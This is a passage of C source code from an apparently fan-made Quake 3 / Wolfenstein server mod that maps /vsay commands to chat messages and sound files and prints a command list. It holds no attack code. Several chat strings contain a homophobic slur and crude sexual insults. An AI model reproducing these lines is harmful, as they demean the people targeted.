if (n==0){ //S4NDM4NN - t wont crash it would just make everyone look up at the sky and shit :D
G_Say(ent, NULL, SAY_ALL, "^3Boom Headshot! Boom Headshot!");
Q_strncpyz(index, "sound/player/boomheadshot1.wav", sizeof(index));
}else if (n==1){
G_Say(ent, NULL, SAY_ALL, "^3Boom Headshot, yeah!");
Q_strncpyz(index, "sound/player/boomheadshot2.wav", sizeof(index));
}else if (n==2){
G_Say(ent, NULL, SAY_ALL, "^3Boom Headshot!");
Q_strncpyz(index, "sound/player/boomheadshot3.wav", sizeof(index));
}else if (n==3){
G_Say(ent, NULL, SAY_ALL, "^3Boom Headshot!");
Q_strncpyz(index, "sound/player/boomheadshot4.wav", sizeof(index));
}else{
G_Say(ent, NULL, SAY_ALL, "^3Boom Headshot!");
Q_strncpyz(index, "sound/player/boomheadshot5.wav", sizeof(index));
}
//C
}else if ( !Q_stricmp( arg1, "charge" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Do you have any idea who's in charge of this operation?");
Q_strncpyz(index, "sound/player/charge.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "control" ) ){
G_Say(ent, NULL, SAY_ALL, "^3This whole operation is out of control!");
Q_strncpyz(index, "sound/player/control.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "comeagain" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Please come again!");
Q_strncpyz(index, "sound/player/comeagain.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "coveringfire" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Covering Fire!");
Q_strncpyz(index, "sound/player/covering.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "checkrecon" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Recon team, check in!");
Q_strncpyz(index, "sound/player/checkrecon.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "clear" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Clear this area!");
Q_strncpyz(index, "sound/player/clear.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "check" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ok, check in!");
Q_strncpyz(index, "sound/player/check.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "command" ) ){
G_Say(ent, NULL, SAY_ALL, "^3At your command, sir.");
Q_strncpyz(index, "sound/player/command.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "current" ) ){
G_Say(ent, NULL, SAY_ALL, "^3The current situation is looking pretty grim.");
Q_strncpyz(index, "sound/player/current.wav", sizeof(index));
//blah
//D
}else if ( !Q_stricmp( arg1, "dance" ) ){
int n = rand()%2; //0-2
if (n==0){
G_Say(ent, NULL, SAY_ALL, "^3Its like I can dance all day!");
Q_strncpyz(index, "sound/player/danceallday1.wav", sizeof(index));
}else{
G_Say(ent, NULL, SAY_ALL, "^3I can dance all day, I can dance all day, try hittin me...");
Q_strncpyz(index, "sound/player/danceallday2.wav", sizeof(index));
}
}else if ( !Q_stricmp( arg1, "die" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Die damnit!");
Q_strncpyz(index, "sound/player/a-die.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "didntHurt") ){
G_Say(ent, NULL, SAY_ALL, "^3Heh, that didnt hurt!");
Q_strncpyz(index, "sound/player/a-didnt-hurt.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "damage" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Sure, we can do more damage that way!");
Q_strncpyz(index, "sound/player/damage.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "disneyland" ) ){
G_Say(ent, NULL, SAY_ALL, "^3This place makes bootcamp seem like Disneyland!");
Q_strncpyz(index, "sound/player/disney.wav", sizeof(index));
//blah
//E
}else if ( !Q_stricmp( arg1, "Eatshit" ) ){
G_Say(ent, NULL, SAY_ALL, "^3EAT MY SHIT!");
Q_strncpyz(index, "sound/player/eatmy1.wav", sizeof(index));
//blah
//F
}else if ( !Q_stricmp( arg1, "fallback" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Fallback!");
Q_strncpyz(index, "sound/player/retreat.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "fags" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Those guys are fags!");
Q_strncpyz(index, "sound/player/fags.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "fatal" ) ){
G_Say(ent, NULL, SAY_ALL, "^3You just made a fatal mistake!");
Q_strncpyz(index, "sound/player/fatalmis.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "fightclub" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Gentlemen, welcome to fightclub!");
Q_strncpyz(index, "sound/player/fight.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "freaks" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Lets kill these freaks!");
Q_strncpyz(index, "sound/player/freaks.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "friendlyfire" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Friendly Fire!");
Q_strncpyz(index, "sound/player/friendly.wav", sizeof(index));
//blah
//G
}else if ( !Q_stricmp( arg1, "gameover" ) ){
G_Say(ent, NULL, SAY_ALL, "^3That's it man, game over man, its game over.");
Q_strncpyz(index, "sound/player/gameover.wav", sizeof(index));
//WTF is this extra space for?
}else if ( !Q_stricmp( arg1, "getsome" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Get some!");
Q_strncpyz(index, "sound/player/getsome.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "getout" ) ){
G_Say(ent, NULL, SAY_ALL, "^3How do I get out of this chickety sh*t outfit.");
Q_strncpyz(index, "sound/player/howgetout.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "gotit" ) ){
G_Say(ent, NULL, SAY_ALL, "^3You got it Corporal I'll be right behind you.");
Q_strncpyz(index, "sound/player/gotit.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "gogogo" ) ){
G_Say(ent, NULL, SAY_ALL, "^3GO GO GO!");
Q_strncpyz(index, "sound/player/gogogo.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "guardduty" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Guard duty.");
Q_strncpyz(index, "sound/player/guardduty.wav", sizeof(index));
//blah
//H
}else if ( !Q_stricmp( arg1, "hello" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Sir, hello sir!");
Q_strncpyz(index, "sound/player/hellosir.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hostiles" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Squad we got hostiles!");
Q_strncpyz(index, "sound/player/hostiles.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "howmuchlonger" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ok guys, uh how much longer are you going to play this?");
Q_strncpyz(index, "sound/player/howmuchlonger.wav", sizeof(index));
//blah
//I
}else if ( !Q_stricmp( arg1, "iamownage" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I am the ownage, bitches!");
Q_strncpyz(index, "sound/player/purepwnage.wav", sizeof(index));
//blah
//J
//K
}else if ( !Q_stricmp( arg1, "kickass" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Were gonna kick your ass!");
Q_strncpyz(index, "sound/player/kickass.wav", sizeof(index));
//blah
//L
}else if ( !Q_stricmp( arg1, "lag" ) ){
int n = rand()%2; //0-2
if (n==0){
G_Say(ent, NULL, SAY_ALL, "^3Oh yeah you fucking like that...");
Q_strncpyz(index, "sound/player/lag1.wav", sizeof(index));
}else{
G_Say(ent, NULL, SAY_ALL, "^3Fucking lagging piece of shit...");
Q_strncpyz(index, "sound/player/lag2.wav", sizeof(index));
}
}else if ( !Q_stricmp( arg1, "letsgo" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Lets go!");
Q_strncpyz(index, "sound/player/go.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "letsrock" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Lets rock!");
Q_strncpyz(index, "sound/player/letsrock.wav", sizeof(index));
//blah
//M
}else if ( !Q_stricmp( arg1, "mosquitos" ) ){
G_Say(ent, NULL, SAY_ALL, "^3It's like I'm hearin mosquitos buzzin around my ears!");
Q_strncpyz(index, "sound/player/a-mosquitos.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "MeantToDoThat") ){
G_Say(ent, NULL, SAY_ALL, "^3I aaaa... Meant to do that!");
Q_strncpyz(index, "sound/player/a-meant.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "marines" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Lets go Marines!");
Q_strncpyz(index, "sound/player/marines.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "movein" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Move in!");
Q_strncpyz(index, "sound/player/move.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "movingout" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Moving out corporal!");
Q_strncpyz(index, "sound/player/moving.wav", sizeof(index));
//blah
//N
}else if ( !Q_stricmp( arg1, "nothing" ) ){
G_Say(ent, NULL, SAY_ALL, "^3You got nothin!");
Q_strncpyz(index, "sound/player/nothing.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "needlight" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Need a light?");
Q_strncpyz(index, "sound/player/needlight.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "napalm" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I love the smell of napalm.");
Q_strncpyz(index, "sound/player/smellnapalm.wav", sizeof(index));
//blah
//O
}else if ( !Q_stricmp( arg1, "oneshot" ) ){
G_Say(ent, NULL, SAY_ALL, "^3One shot, one kill!");
Q_strncpyz(index, "sound/player/oneshot.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "onlyone" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I'm like the only one with skills.");
Q_strncpyz(index, "sound/player/onlyskills.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "ownage" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ownage!");
Q_strncpyz(index, "sound/player/a-ownage.wav", sizeof(index));
//blah????
}else if ( !Q_stricmp( arg1, "outofhere" ) ){
G_Say(ent, NULL, SAY_ALL, "^3If we make it out of here, you all get a beer!");
Q_strncpyz(index, "sound/player/outof.wav", sizeof(index));
//blah
//p
//q
//r
//s
}else if ( !Q_stricmp( arg1, "scream" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!");
Q_strncpyz(index, "sound/player/scream.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "shazbot" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Shazbot!");
Q_strncpyz(index, "sound/player/a-shazbot.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "seensquad" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Have you seen any other soldiers from my platoon?");
Q_strncpyz(index, "sound/player/seensquad.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "suckdick" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Hey, try not to suck any dick on the way from the parking lot!");
Q_strncpyz(index, "sound/player/suck.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "suppressing" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I need suppressing fire!");
Q_strncpyz(index, "sound/player/suppressing.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "stfu" ) ){
int n = rand()%2; //0-2
if (n==0){
G_Say(ent, NULL, SAY_ALL, "^3Shut the fuck up!");
Q_strncpyz(index, "sound/player/stfu1.wav", sizeof(index));
}else{
G_Say(ent, NULL, SAY_ALL, "^3Shut the fuck up!");
Q_strncpyz(index, "sound/player/stfu2.wav", sizeof(index));
}
}else if ( !Q_stricmp( arg1, "stillheadshot" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I mean my hearts beating...");
Q_strncpyz(index, "sound/player/stillheadshot.wav", sizeof(index));
//blah
//T
}else if ( !Q_stricmp( arg1, "tagem" ) ){
G_Say(ent, NULL, SAY_ALL, "^3I'll tag em, you bag em!");
Q_strncpyz(index, "sound/player/tag.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "takethis" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Take this!");
Q_strncpyz(index, "sound/player/take.wav", sizeof(index));
//blah
//u
//v
//W
}else if ( !Q_stricmp( arg1, "wantsome" ) ){
G_Say(ent, NULL, SAY_ALL, "^3You want some of me?");
Q_strncpyz(index, "sound/player/wantsome.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "watchfire" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Watch your fire, sir!");
Q_strncpyz(index, "sound/player/watchfire.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "watchit" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Watch it corporal!");
Q_strncpyz(index, "sound/player/watchit.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "whatithought" ) ){
G_Say(ent, NULL, SAY_ALL, "^3That's what I thought!");
Q_strncpyz(index, "sound/player/thatswhatithought.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "wantapiece" ) ){
G_Say(ent, NULL, SAY_ALL, "^3You want a piece of me, boy?");
Q_strncpyz(index, "sound/player/wantapiece.wav", sizeof(index));
//blah
//z
}else if ( !Q_stricmp( arg1, "zone" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Check your zone!");
Q_strncpyz(index, "sound/player/zone.wav", sizeof(index));
//blah
///////-------------------------------------------------------------------------
Unreal Tournament/Quake 3 Sounds ////////////////////\\\\\\\\\\\\\\\\\\\\\\\\|
///////-------------------------------------------------------------------------
}else if ( !Q_stricmp( arg1, "dkill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Double kill!");
Q_strncpyz(index, "sound/player/doublekill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "combo" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Combo Whore!");
Q_strncpyz(index, "sound/player/combowhore.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "dominating") ){
G_Say(ent, NULL, SAY_ALL, "^3DOMINATING");
Q_strncpyz(index, "sound/player/dominating.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "excellent" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Excellent!");
Q_strncpyz(index, "sound/player/excellent.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "fblood" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Firstblood!");
Q_strncpyz(index, "sound/player/firstblood.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "flawless" ) ){
trap_SendServerCommand( -1, va("chat \"console: ^3Flawless Victory^7!\n\""));
Q_strncpyz(index, "sound/player/flawlessvic.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "god" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Godlike!");
Q_strncpyz(index, "sound/player/godlike.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hat" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Hat Trick!");
Q_strncpyz(index, "sound/player/hattrick.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hhunter" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Head Hunter!");
Q_strncpyz(index, "sound/player/headhunter.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hshot") ) {
G_Say(ent, NULL, SAY_ALL, "^3Headshot!");
Q_strncpyz(index, "sound/player/headshot.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "humiliation" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Humiliation!");
Q_strncpyz(index, "sound/player/humiliation.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "humiliating" ) ){
trap_SendServerCommand( -1, va("chat \"console: ^3Humiliating ^1DEFEAT^7!\n\""));
Q_strncpyz(index, "sound/player/humiliation_defeat.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hshit" ) ){
G_Say(ent, NULL, SAY_ALL, "^1HOLY SHIT!!!");
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "impressive" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Impressive!");
Q_strncpyz(index, "sound/player/impressive.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "kspree" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Killing Spree!");
Q_strncpyz(index, "sound/player/killingspree.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "ludicrous" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Llllludicrous KILL!");
Q_strncpyz(index, "sound/player/ludicrouskill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "mekill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Mega kill!");
Q_strncpyz(index, "sound/player/megakill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "mokill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3MMMMMONSTER KILL!");
Q_strncpyz(index, "sound/player/monsterkill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "mukill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Multikill!");
Q_strncpyz(index, "sound/player/multikill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "play" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Play!");
Q_strncpyz(index, "sound/player/play.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "rampage" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Rampage!");
Q_strncpyz(index, "sound/player/rampage.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "reset" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Reset!");
Q_strncpyz(index, "sound/player/reset.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "score" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Score!");
Q_strncpyz(index, "sound/player/score.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "skiller" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Spawnkiller!");
Q_strncpyz(index, "sound/player/spawnkiller.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "tkiller" ) ){
G_Say(ent, NULL, SAY_ALL, "^1Teamkiller!");
Q_strncpyz(index, "sound/player/teamkiller.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "tkill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Tripple Kill!");
Q_strncpyz(index, "sound/player/tripplekill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "ukill" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Ultra Kill!");
Q_strncpyz(index, "sound/player/ultrakill.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "unreal" ) ){
G_Say(ent, NULL, SAY_ALL, "^3UnReal!");
Q_strncpyz(index, "sound/player/unreal.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "unstoppable" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Unstoppable!");
Q_strncpyz(index, "sound/player/unstoppable.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "wicked" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Wicked Sick");
Q_strncpyz(index, "sound/player/whickedsick.wav", sizeof(index));
//blah
////////--------------------------------------------------------------------
END UNREAL/QUAKE SOUNDS |
///////---------------------------------------------------------------------
//////
BEGIN ADMIN ONLY SOUNDS
//////
}else if ( !Q_stricmp( arg1, "adminmsg" ) ){
trap_SendServerCommand( -1, va("chat \"console: Message from administration:\n\""));
Q_strncpyz(index, "sound/player/adminmessage.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "authority" ) ){
G_Say(ent, NULL, SAY_ALL, "^3Don't confuse your rank with my authority, corporal!");
Q_strncpyz(index, "sound/player/athority.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "bw" ) ){
G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/player/buzzwarn.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "tfc" ) ){
G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/player/(tfc) endgame.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "Matrix" ) ){
G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/player/Matrix.wav", sizeof(index));
//blah
//WOLF MP SOUNDS!!
}else if ( !Q_stricmp( arg1, "USAObjTak" ) ){
//G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/multiplayer/allies/a-objective_taken.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "USAObjSec" ) ){
//G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/multiplayer/allies/a-objective_secure.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "NaziObjSec" ) ){
//G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/multiplayer/axis/g-objective_secure.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "Naziwin" ) ){
//G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/multiplayer/music/s_stinglow.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "USAwin" ) ){
//G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/multiplayer/music/l_complete_2.wav", sizeof(index));
//blah
//Wolf mp cheers
}else if ( !Q_stricmp( arg1, "yalord" ) ){
G_Say(ent, NULL, SAY_ALL, "^3(unknown):^2Yes!");
Q_strncpyz(index, "sound/multiplayer/axis/g-yeah1.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daccor" ) ){
G_Say(ent, NULL, SAY_ALL, "^3(unknown):^2YES!");
Q_strncpyz(index, "sound/multiplayer/axis/g-yeah2.wav", sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hehheh" ) ){
G_Say(ent, NULL, SAY_ALL, "^3(unknown):^2Heh Heh!");
Q_strncpyz(index, "sound/multiplayer/axis/g-yeah3.wav", sizeof(index));
//blah
//DAloops:
}else if ( !Q_stricmp( arg1, "daloop1") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop1.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop2") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop2.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop3") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop3.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop4") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop4.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop5") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop5.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop6") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop6.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop7") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop7.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop8") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop8.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "daloop9") ){
G_Say(ent, NULL, SAY_ALL, "^3Cool Tunes...");
Q_strncpyz(index, "sound/player/daloop9.wav",sizeof(index));
//blah
//Songs:
}else if ( !Q_stricmp( arg1, "369") ){
G_Say(ent, NULL, SAY_ALL, "^3Damn She's Fine!");
Q_strncpyz(index, "sound/player/admin1.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "welcome") ){
trap_SendServerCommand( -1, va("chat \"console: Welcome to the jungle^7!\n\""));
Q_strncpyz(index, "sound/player/admin2.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "woohoo") ){
G_Say(ent, NULL, SAY_ALL, "^3Woo Hoo!");
Q_strncpyz(index, "sound/player/admin3.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "halo") ){
G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/player/admin4.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "thegame") ){
G_Say(ent, NULL, SAY_ALL, "^3Play Again?");
Q_strncpyz(index, "sound/player/admin5.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "hitground") ){
G_Say(ent, NULL, SAY_ALL, "^3Hit the Ground");
Q_strncpyz(index, "sound/player/admin6.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "clickboom") ){
G_Say(ent, NULL, SAY_ALL, "^3Click Click BOOM!");
Q_strncpyz(index, "sound/player/admin7.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "werdy") ){
G_Say(ent, NULL, SAY_ALL, "^3We Ready");
Q_strncpyz(index, "sound/player/admin8.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "irnmn") ){
G_Say(ent, NULL, SAY_ALL, "^3");
Q_strncpyz(index, "sound/player/admin9.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "lftbhnd") ){
G_Say(ent, NULL, SAY_ALL, "^3We all got left behind");
Q_strncpyz(index, "sound/player/admin10.wav",sizeof(index));
//blah
}else if ( !Q_stricmp( arg1, "trnsfrm") ){
G_Say(ent, NULL, SAY_ALL, "^3Transform");
Q_strncpyz(index, "sound/player/admin11.wav",sizeof(index));
//blah
}
*/
//Columned list-22 lines total in console END OF LINE(in console)---------|
//else{
trap_SendServerCommand(ent-g_entities, va("print \"^1MVSAY commands: ^7By ^0AG3NT\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^4USAGE: ^7/vsay <string>\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^1Get the soundpack from: ^3www.S4NDMoD.com ^1in downloads\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^21. ^3Alert ^22.^3Bitches ^23.^3Busted ^24.^3Backup ^25.^3Bogies\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^26. ^3Charge ^27.^3Control ^28.^3ComeAgain ^29.^3CoveringFire ^210.^3Checkrecon\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^211.^3Clear ^212.^3Check ^213.^3Command ^214.^3Current ^215.^3Die\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^216.^3DidntHurt ^217.^3Damage ^218.^3Disneyland ^219.^3Eatshit ^220.^3Fallback\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^221.^3Fags ^222.^3Fatal ^223.^3FightClub ^224.^3Freaks ^225.^3Friendlyfire\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^226.^3Getsome ^227.^3GotIt ^228.^3Guardduty ^229.^3Hello ^230.^3Hostiles\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^231.^3Kickass ^232.^3Letsgo ^233.^3Mosquitos ^234.^3MeantToDoThat^235.^3Movein\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^236.^3Movingout ^237.^3Nothing ^238.^3Oneshot ^239.^3Ownage ^240.^3Outofhere\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^241.^3Scream ^242.^3Shazbot ^243.^3Seensquad ^244.^3Suckdick ^245.^3Suppressing\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^246.^3Tagem ^247.^3Wantsome ^248.^3Watchfire ^249.^3Watchit ^250.^3Zone\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^1NEW SOUNDS:\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^251.^3Boner ^252.^3BoomHeadshot ^253.^3Dance ^254.^3GameOver ^255.^3GoGoGo\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^256.^3GetOut ^257.^3HowMuchLonger^258.^3IamOwnage ^259.^3Lag ^260.^3LetsRock\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^261.^3Napalm ^262.^3NeedLight ^263.^3OnlyOne ^264.^3STFU ^265.^3StillHeadshot\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^266.^3WantAPiece ^267.^3WhatIThought\n\""));
trap_SendServerCommand(ent-g_entities, va("cp \"USE /vsay <string>\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"\n\""));
//}
//Columned Lists end
//NEW WAY!!
// G_AddEvent (ent, EV_GLOBAL_SOUND, G_SoundIndex(index));
/*
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
*/
}
